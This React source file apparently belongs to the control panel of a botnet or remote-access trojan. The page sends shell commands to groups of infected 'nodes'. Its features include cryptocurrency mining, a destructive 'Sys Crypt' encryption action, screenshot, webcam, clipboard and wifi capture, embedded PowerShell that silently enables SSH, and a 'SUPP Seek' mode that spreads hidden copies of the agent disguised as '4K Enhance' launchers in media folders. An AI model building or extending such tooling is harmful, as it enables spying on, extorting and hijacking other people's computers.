import { useState, useRef, useEffect, useCallback, useMemo } from 'react'; import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; import type { Agent, AgentService } from '../types'; import NeonCard from '../components/NeonCard/NeonCard'; import LatencyBadge from '../components/Fleet/LatencyBadge'; import CreateGroupModal from '../components/Fleet/CreateGroupModal'; import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip'; import { formatHashrate } from '../help/fleetFilters'; import { primaryGroupForAgent } from '../help/fleetGroups'; import { useFleetGroups } from '../hooks/useFleetGroups'; import { useMatrixRain } from '../context/MatrixRainContext'; import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush'; import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck'; import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel'; import FileManager from '../components/Fleet/FileManager'; import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser'; import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel'; import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps'; import '../components/Fleet/FullSysCheckPanel.css'; import '../components/Fleet/ProtocolTunnelPanel.css'; import './CruciblePage.css'; // ── Types ────────────────────────────────────────────────────────────────── type ShellType = 'powershell' | 'exec' | 'sh'; interface TermLine { id: string; agentId: string; agentName: string; isCmd: boolean; text: string; ts: Date; success?: boolean; // Whether this agent was in the active selection when the command was dispatched targeted?: boolean; // Structured data for rich terminal renderers richData?: RichTermData; } // ── Rich terminal data types ──────────────────────────────────────────────── interface RichListenPort { port: number; addr: string; proto: string; process?: string; pid?: number; } interface RichListenPorts { type: 'listen_ports'; ports: RichListenPort[]; count: number; } interface RichPatchStatus { type: 'patch_status'; pending_updates?: number; last_patch?: string; last_patch_days?: number; reboot_pending?: boolean; } interface RichPostureSummary { type: 'posture'; posture_score?: number; defender_enabled?: boolean; defender_rtp?: boolean; av_products?: string[]; firewall_domain?: boolean; firewall_private?: boolean; firewall_public?: boolean; ssh_listening?: boolean; agent_elevated?: boolean; last_patch_days?: number; pending_updates?: number; reboot_pending?: boolean; services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>; } interface RichScreenshot { type: 'screenshot'; b64: string; } interface RichFullSysCheck { type: 'full_sys_check'; report: FullSysCheckReport; } type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck; // ── Helpers ──────────────────────────────────────────────────────────────── const AGENT_COLORS = [ '#00f5ff', '#39ff14', '#ff2da6', '#b24bf3', '#ffb020', '#ff6b35', '#00d4aa', '#f72585', '#7209b7', '#3a86ff', '#06d6a0', '#ffd60a', ]; export function agentColor(agentId: string, allIds: string[], groupColor?: string): string { if (groupColor) return groupColor; const idx = allIds.indexOf(agentId); return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff'; } export function sshBadge(agent: Agent) { if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' }; if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' }; return { label: 'SSH ?', cls: 'ssh-unk' }; } export function postureBadge(score?: number) { if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' }; if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' }; if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' }; return { label: `POSTURE ${score}`, cls: 'posture-bad' }; } export function patchLabel(days?: number) { if (days === undefined) return null; return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' }; } export function portsBadge(count?: number): { label: string; cls: string } | null { if (count === undefined) return null; return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' }; } export function postureTooltip(agent: Agent): string { const lines: string[] = []; const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?'; const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?'; lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`); if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`); lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`); lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`); if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`); lines.push('──────────────────────'); // Patch exposure if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`); else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`); if (agent.pending_updates !== undefined) { const u = agent.pending_updates; lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`); } if (agent.reboot_pending !== undefined) { lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`); } // DNS config if (agent.dns_servers?.length) { lines.push('──────────────────────'); lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`); if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`); if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!'); } // Resource pressure const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null; if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) { lines.push('──────────────────────'); if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`); if (agent.disk_free_pct !== undefined) { lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`); } if (agent.cpu_freq_mhz && agent.cpu_max_mhz) { lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`); } if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`); } if (agent.services?.length) { lines.push('──────────────────────'); lines.push('Services (T1007):'); for (const svc of agent.services) { const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—'; const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : ''; lines.push(` ${icon} ${svc.display_name ?? svc.name}${st}`); } } return lines.join('\n'); } export function pendingBadge(agent: Agent): { label: string; cls: string } | null { const u = agent.pending_updates; if (u === undefined) return null; if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' }; if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' }; if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' }; return { label: `${u} UPD`, cls: 'upd-bad' }; } function rebootBadge(agent: Agent): { label: string; cls: string } | null { if (agent.reboot_pending === undefined) return null; if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' }; return null; } // ── Resource pressure badges ─────────────────────────────────────────────── export function thermalBadge(agent: Agent): { label: string; cls: string } | null { const t = agent.gpu_temp_c ?? agent.cpu_temp_c; if (t === undefined) return null; if (t > 80) return { label: `${t}°`, cls: 'therm-hot' }; if (t > 65) return { label: `${t}°`, cls: 'therm-warm' }; return null; // cool enough — no badge clutter } function diskBadge(agent: Agent): { label: string; cls: string } | null { const pct = agent.disk_free_pct; if (pct === undefined) return null; if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' }; if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' }; return null; // plenty of space — no badge } function throttleBadge(agent: Agent): { label: string; cls: string } | null { if (!agent.cpu_throttle) return null; const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz ? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100) : null; const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL'; return { label, cls: 'therm-warm' }; } // ── DNS helpers (T1016) ──────────────────────────────────────────────────── function dnsBadge(agent: Agent): { label: string; cls: string } | null { if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' }; return null; } // ── Service helpers (T1007) ──────────────────────────────────────────────── // Human-readable label for well-known service names const SVC_LABELS: Record = { sshd: 'SSH', ssh: 'SSH', 'openssh ssh server': 'SSH', cloudflared: 'CF Tunnel', wuauserv: 'WU', windefend: 'Defender', ufw: 'UFW', fail2ban: 'Fail2Ban', }; function svcLabel(svc: AgentService): string { return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name; } function svcDot(status: string): string { if (status === 'running') return '●'; if (status === 'stopped') return '○'; return '—'; } function svcDotClass(status: string): string { if (status === 'running') return 'svc-run'; if (status === 'stopped') return 'svc-stop'; return 'svc-unk'; } // Only surface services that are interesting to show (skip self-service clutter) const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']); function importantServices(svcs: AgentService[]): AgentService[] { return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running'); } function platformIcon(platform?: string): string { if (!platform) return '⬡'; const p = platform.toLowerCase(); if (p.includes('win')) return '⊞'; if (p.includes('linux')) return '🐧'; if (p.includes('darwin')) return ''; return '⬡'; } let _lineId = 0; function mkId() { return `tl-${++_lineId}`; } // ── Wake SSH commands ────────────────────────────────────────────────────── const WAKE_SSH_PS = ` $ErrorActionPreference='SilentlyContinue' $cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0} Set-Service -Name sshd -StartupType Automatic Start-Service sshd $ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress "SSH_WAKE_OK ip=$ip port=22" `.trim(); const PROBE_SSH_PS = ` $s=Get-Service sshd -ErrorAction SilentlyContinue if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'} `.trim(); const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`; // ── Component ────────────────────────────────────────────────────────────── export default function CruciblePage() { const { agents, commandResults } = useWebSocket(); const { setCrucibleFocus } = useMatrixRain(); // Selection const [selectedIds, setSelectedIds] = useState>(new Set()); const [showGroupModal, setShowGroupModal] = useState(false); const { groups, addGroup, removeGroup } = useFleetGroups(); // Terminal const [termLines, setTermLines] = useState([]); const [cmd, setCmd] = useState(''); const [shellType, setShellType] = useState('powershell'); const [busy, setBusy] = useState(false); const termEndRef = useRef(null); const cmdRef = useRef(null); const lastSeqRef = useRef(0); // Command history const [cmdHistory, setCmdHistory] = useState([]); const [histIdx, setHistIdx] = useState(-1); // SUPP Seek Mode const [seekPath, setSeekPath] = useState(''); const [seekStem, setSeekStem] = useState('4K Enhance'); const [seekWin, setSeekWin] = useState(true); const [seekMac, setSeekMac] = useState(true); // File ops state const [uploadPath, setUploadPath] = useState(''); const [downloadPath, setDownloadPath] = useState(''); const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null })); // Tunnel URL state const [tunnelURL, setTunnelURL] = useState(''); const [tunnelStatusMsg, setTunnelStatusMsg] = useState(''); // SSH / posture overrides (from on-demand probes) const [sshOverride, setSshOverride] = useState>({}); const [postureOverride, setPostureOverride] = useState>({}); const allIds = useMemo(() => agents.map((a) => a.id), [agents]); const selectedAgents = useMemo( () => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds] ); const online = (a: Agent) => a.status === 'online'; const fmCommandResults = useMemo( () => commandResults ?.filter((r) => r.agent_id && r.action != null) .map((r) => ({ agentId: r.agent_id as string, action: r.action as string, success: !!r.success, message: r.message ?? '', })) ?? [], [commandResults] ); const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; const encryptTargets = useMemo( () => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })), [selectedAgents] ); const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null; const appendTerminalLine = useCallback((text: string, isCmd = false) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd, text, ts: new Date(), targeted: true, }, ].slice(-2000)); }, []); /** One online target selected — sidebar matrix switches to gold forge-style rain. */ const crucibleTargetReady = selectedAgents.filter(online).length === 1 && selectedIds.size === 1; useEffect(() => { setCrucibleFocus(crucibleTargetReady); return () => setCrucibleFocus(false); }, [crucibleTargetReady, setCrucibleFocus]); // Prune selectedIds when agents are removed (e.g. after roster delete). useEffect(() => { const liveIds = new Set(agents.map((a) => a.id)); setSelectedIds((prev) => { const pruned = new Set([...prev].filter((id) => liveIds.has(id))); return pruned.size === prev.size ? prev : pruned; }); }, [agents]); // ── Auto-scroll terminal ─────────────────────────────────────────────── useEffect(() => { termEndRef.current?.scrollIntoView({ behavior: 'smooth' }); }, [termLines]); // ── Process incoming command_result messages ─────────────────────────── useEffect(() => { if (!commandResults || commandResults.length === 0) return; const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current); if (newEntries.length === 0) return; lastSeqRef.current = newEntries[newEntries.length - 1]._seq; const lines: TermLine[] = []; for (const r of newEntries) { const aid = r.agent_id; if (!aid) continue; const msg = r.message ?? ''; if (r.action === 'tunnel_status' && r.success && msg) { if (selectedIds.size === 1 && selectedIds.has(aid)) { setTunnelStatusMsg(msg); } } // ── SSH badge updates ─────────────────────────────────────────────── if (msg.includes('SSH_PROBE:ONLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: true })); } else if (msg.includes('SSH_PROBE:OFFLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: false })); } // ── Parse structured JSON for known actions ──────────────────────── let richData: RichTermData | undefined; // Screenshot: result is a raw base64 PNG string (no JSON wrapper) if ( (r.action === 'screenshot' || r.action === 'camera_snapshot') && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim()) ) { richData = { type: 'screenshot', b64: msg.trim() }; } const jsonStart = msg.indexOf('{'); if (jsonStart >= 0) { try { const parsed = JSON.parse(msg.slice(jsonStart)); if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) { richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length }; } else if (r.action === 'patch_status') { richData = { type: 'patch_status', ...parsed }; } else if (r.action === 'full_sys_check' && parsed.generated_at) { richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport }; } else if (r.action === 'posture' && typeof parsed.posture_score === 'number') { richData = { type: 'posture', ...parsed }; // Update badge state setPostureOverride((prev) => ({ ...prev, [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days }, })); if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true })); if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false })); } else { // Generic JSON with posture fields (legacy path) if (typeof parsed.posture_score === 'number') { setPostureOverride((prev) => ({ ...prev, [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days }, })); } if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true })); if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false })); } } catch { /* malformed JSON — fall through to plain text */ } } const agent = agents.find((a) => a.id === aid); const name = agent?.name ?? aid.slice(0, 8); const targeted = selectedIds.size === 0 || selectedIds.has(aid); if (richData) { lines.push({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: '', ts: new Date(), success: r.success, richData, targeted, }); } else { const msgLines = msg.split('\n').filter(Boolean); for (const line of msgLines) { lines.push({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: line, ts: new Date(), success: r.success, targeted, }); } } } if (lines.length > 0) { setTermLines((prev) => [...prev, ...lines].slice(-2000)); } // eslint-disable-next-line react-hooks/exhaustive-deps }, [commandResults]); // ── Selection helpers ────────────────────────────────────────────────── const toggle = (id: string) => setSelectedIds((prev) => { const next = new Set(prev); if (next.has(id)) next.delete(id); else next.add(id); return next; }); const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id))); const clearSel = () => setSelectedIds(new Set()); const onlineAgentIds = useMemo( () => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)), [agents] ); const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds)); // ── Dispatch command ─────────────────────────────────────────────────── const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); if (tgts.length === 0 || !command.trim()) return; setBusy(true); // Echo command to terminal const echoLines: TermLine[] = tgts.map((a) => ({ id: mkId(), agentId: a.id, agentName: a.name, isCmd: true, text: command, ts: new Date(), })); setTermLines((prev) => [...prev, ...echoLines].slice(-2000)); setCmdHistory((h) => [command, ...h].slice(0, 50)); setHistIdx(-1); const action = shell === 'powershell' ? 'powershell' : shell === 'sh' ? 'exec' : 'exec'; await Promise.all( tgts.map(async (a) => { try { const res = await api.sendAgentCommand(a.id, action, { command }); if (res.success === false) { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${res.error ?? 'command rejected'}`, ts: new Date(), success: false, }, ]); } } catch (err) { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, }, ]); } }) ); setBusy(false); cmdRef.current?.focus(); }, [selectedAgents]); const sendCmd = () => { dispatch(cmd, shellType); setCmd(''); }; const probeSSH = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); for (const a of tgts) { const isWin = a.platform?.toLowerCase().includes('win') ?? true; const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH; const shell: ShellType = isWin ? 'powershell' : 'sh'; dispatch(probeCmd, shell, [a]); } }; const wakeSSH = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); for (const a of tgts) { const isWin = a.platform?.toLowerCase().includes('win') ?? true; if (isWin) { dispatch(WAKE_SSH_PS, 'powershell', [a]); } else { dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]); } } }; const probePosture = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); if (tgts.length === 0) { alert('No online agents selected.'); return; } Promise.all( tgts.map((a) => api.sendAgentCommand(a.id, 'posture').catch((err) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }) ) ); }; // Fires posture + listen_ports + patch_status in parallel. // When agents are selected, targets only selection. Otherwise targets all online. const scanSelected = (targets?: Agent[]) => { const tgts = targets ?? (selectedAgents.filter(online).length > 0 ? selectedAgents.filter(online) : agents.filter(online)); if (tgts.length === 0) { alert('No online agents available.'); return; } const cmds = ['posture', 'listen_ports', 'patch_status'] as const; for (const a of tgts) { for (const cmd of cmds) { api.sendAgentCommand(a.id, cmd).catch((err) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }); } } }; // SUPP Seek — launch recursive batch file-seeding on selected agents. const launchSeek = () => { const tgts = selectedAgents.filter(online); if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; } if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; } const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac'; for (const a of tgts) { api.sendAgentCommand(a.id, 'supp_seek', { path: seekPath.trim(), command: flag, data: seekStem.trim() || '4K Enhance', }).catch((err) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true, }, ]); }); } setTermLines((prev) => [ ...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`, ts: new Date(), }, ]); }; // Focused agent — when exactly one is selected show its details prominently. const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; const handleKey = (e: React.KeyboardEvent) => { if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'ArrowUp') { e.preventDefault(); const next = Math.min(histIdx + 1, cmdHistory.length - 1); setHistIdx(next); setCmd(cmdHistory[next] ?? ''); } if (e.key === 'ArrowDown') { e.preventDefault(); const next = Math.max(histIdx - 1, -1); setHistIdx(next); setCmd(next < 0 ? '' : cmdHistory[next] ?? ''); } }; // ── Effective SSH status ─────────────────────────────────────────────── const sshStatus = (a: Agent) => { const override = sshOverride[a.id]; if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' }; return sshBadge({ ...a }); }; const postureStatus = (a: Agent) => { const o = postureOverride[a.id]; const score = o?.score ?? a.posture_score; const patchDays = o?.patchDays ?? a.last_patch_days; return { ...postureBadge(score), patch: patchLabel(patchDays), ports: portsBadge(a.listen_port_count), }; }; // ── Rich terminal renderers ──────────────────────────────────────────── const RichListenPortsTable = ({ d }: { d: RichListenPorts }) => (
LISTEN PORTS {d.count} listener{d.count !== 1 ? 's' : ''}
{d.ports.length === 0 ? (
No listeners found
) : ( {d.ports.map((p, i) => ( ))}
PORT ADDR PROTO PROCESS PID
{p.port} {p.addr || '*'} {p.proto.toUpperCase()} {p.process || '—'} {p.pid ?? '—'}
)}
); const RichPatchStatusBlock = ({ d }: { d: RichPatchStatus }) => (
PATCH STATUS {d.reboot_pending && REBOOT REQUIRED}
Pending Updates 0 ? 'rich-val-warn' : 'rich-val-ok'}`}> {d.pending_updates ?? 0}
Last Patch 60 ? 'rich-val-bad' : (d.last_patch_days ?? 0) > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}> {d.last_patch ?? '—'}{d.last_patch_days != null ? ` (${d.last_patch_days}d ago)` : ''}
Reboot Pending {d.reboot_pending ? 'YES' : 'NO'}
); const fwIcon = (on?: boolean) => on ? ON : OFF; const RichPostureSummaryBlock = ({ d }: { d: RichPostureSummary }) => (
POSTURE REPORT {d.posture_score != null && ( = 70 ? 'rich-score-ok' : d.posture_score >= 40 ? 'rich-score-warn' : 'rich-score-bad'}`}> {d.posture_score} / 100 )}
Defender {d.defender_enabled ? 'ON' : 'OFF'}
Real-Time Prot {d.defender_rtp ? 'ON' : 'OFF'}
Firewall Domain/Priv/Pub {fwIcon(d.firewall_domain)} / {fwIcon(d.firewall_private)} / {fwIcon(d.firewall_public)}
AV Products {d.av_products?.join(', ') || '—'}
SSH Listening {d.ssh_listening ? 'YES' : 'NO'}
Agent Elevated {d.agent_elevated ? 'YES (ADMIN)' : 'no'}
{d.last_patch_days != null && (
Last Patch 60 ? 'rich-val-bad' : d.last_patch_days > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}> {d.last_patch_days}d ago{d.pending_updates ? ` · ${d.pending_updates} pending` : ''} {d.reboot_pending ? ' · REBOOT!' : ''}
)}
{d.services && d.services.length > 0 && ( <>
SERVICES
{d.services.map((s, i) => ( ))}
SERVICESTATUSSTART
{s.display_name || s.name} {s.status.toUpperCase()} {s.start_type}
)}
); const renderRichData = (d: RichTermData, lineAgentName?: string) => { if (d.type === 'listen_ports') return ; if (d.type === 'patch_status') return ; if (d.type === 'posture') return ; if (d.type === 'full_sys_check') { return ; } if (d.type === 'screenshot') return (
screenshot window.open(`data:image/png;base64,${d.b64}`, '_blank')} title="Click to open full size" />
); return null; }; // ── Render ───────────────────────────────────────────────────────────── return (

REMOTE OPERATIONS THEATER

Crucible

select nodes · group them · command them all at once

{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'} {agents.filter(online).length} online / {agents.length} total
{selectedIds.size > 0 && ( )}
setShowGroupModal(true)} /> {/* ── Node Roster ─────────────────────────────────────────────────── */}
NODE ROSTER
{agents.length === 0 ? (

No nodes registered. Forge a build and deploy it to your machines.

) : (
{agents.map((a) => { const sel = selectedIds.has(a.id); const isOn = online(a); const ssh = sshStatus(a); const posture = postureStatus(a); const pg = primaryGroupForAgent(groups, a.id); const color = agentColor(a.id, allIds, pg?.color); return (
toggle(a.id)} >
{platformIcon(a.platform)} {a.name} {pg && ( {pg.name} )}
{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}
{a.ip || '—'}
{a.cpu_cores}c {formatHashrate(a.hashrate_15m)}
{ssh.label}
{posture.label}
{posture.patch && (
{posture.patch.label}
)} {posture.ports && (
{posture.ports.label}
)} {(() => { const pb = pendingBadge(a); return pb && (
{pb.label}
); })()} {(() => { const rb = rebootBadge(a); return rb && (
{rb.label}
); })()} {a.agent_elevated && (
ADMIN
)} {(() => { const tb = thermalBadge(a); return tb && (
{tb.label}
); })()} {(() => { const db = diskBadge(a); return db && (
{db.label}
); })()} {(() => { const trb = throttleBadge(a); return trb && (
{trb.label}
); })()} {(() => { const db2 = dnsBadge(a); return db2 && (
{db2.label}
); })()}
{a.dns_servers && a.dns_servers.length > 0 && (
{a.dns_servers.slice(0, 2).join(' · ')} {a.dns_drifted && ⚠ DRIFT}
)} {a.services && a.services.length > 0 && (
{importantServices(a.services).map(svc => ( {svcDot(svc.status)} {svcLabel(svc)} ))}
)}
); })}
)}
{/* ── Focused machine banner ──────────────────────────────────────── */} {focusedAgent && (
▶ ACTIVE TARGET {platformIcon(focusedAgent.platform)} {focusedAgent.name} {focusedAgent.ip || '—'} {focusedAgent.status} {focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''} {focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB {focusedAgent.status !== 'online' && ( ⚠ offline — commands will fail until it reconnects )}
)} {/* ── Groups & Actions ────────────────────────────────────────────── */}
GROUPS

Same groups as Fleet Roster — click a chip to select all members.

{groups.length === 0 ? (

Select nodes, then Create group… to name and color them.

) : (
{groups.map((g) => (
activateGroup(g)} > {g.name} {g.agentIds.length} nodes
))}
)} {selectedIds.size > 0 && ( )}
OPERATIONS {selectedIds.size > 0 && ( → {selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`} )}
{/* ── Posture ──────────────────────────────────── */}
Posture & Recon
{ setTermLines((prev) => [ ...prev, { id: mkId(), agentId, agentName, isCmd: false, text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true, }, ]); }} /> {/* ── SSH ──────────────────────────────────────── */}
SSH
{/* ── Mining ───────────────────────────────────── */}
Mining
{/* ── Sys Crypt + remote browser ───────────────── */}
⚠ Destructive {browseAgent && selectedIds.size > 0 ? ( <> {selectedIds.size > 1 && (

Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).

)} ) : null}
{/* ── SUPP Seek Mode ───────────────────────────── */}
◈ SUPP Seek Mode

Recursively seeds every media directory under the given path with silent launcher files. The agent copies itself as a hidden exe (Windows) or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.

setSeekPath(e.target.value)} style={{ width: '100%', padding: '0.35rem 0.6rem', background: '#0d0d1a', border: '1px solid #333', color: 'var(--neon-cyan)', borderRadius: 4, fontFamily: 'var(--font-tech)', fontSize: '0.82rem', marginBottom: '0.4rem', boxSizing: 'border-box', }} /> setSeekStem(e.target.value)} style={{ width: '100%', padding: '0.35rem 0.6rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 4, fontFamily: 'var(--font-tech)', fontSize: '0.82rem', marginBottom: '0.5rem', boxSizing: 'border-box', }} />

Results appear in the terminal below. Each seeded dir drops:
{seekWin && <>{seekStem || '4K Enhance'}.bat + {seekStem || '4K Enhance'}.exe{seekMac ? ' & ' : ''}} {seekMac && {seekStem || '4K Enhance'}.command}

{/* ── Recon ────────────────────────────────────── */}
Recon {(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => ( ))}
{/* ── Agent Control ─────────────────────────────── */}
Agent
{/* ── System Power ──────────────────────────────── */}
System
{/* ── Aggressive Ops ───────────────────────────── */}
Aggressive Ops
{/* ── File Ops ─────────────────────────────────── */}
File Ops
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
setDownloadPath(e.target.value)} style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }} />
setUploadPath(e.target.value)} style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }} />
{singleSelectedAgent && (
)}
{/* ── Shell type ───────────────────────────────── */}
Shell Mode
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => ( ))}
{/* ── Selection chips ──────────────────────────── */} {selectedIds.size > 0 && (
{selectedAgents.map((a) => { const color = agentColor(a.id, allIds); const ssh = sshStatus(a); return ( toggle(a.id)} title={`${a.ip ?? ''} · ${ssh.label}`} > {a.name} × ); })}
)}
{/* ── Terminal ────────────────────────────────────────────────────── */}
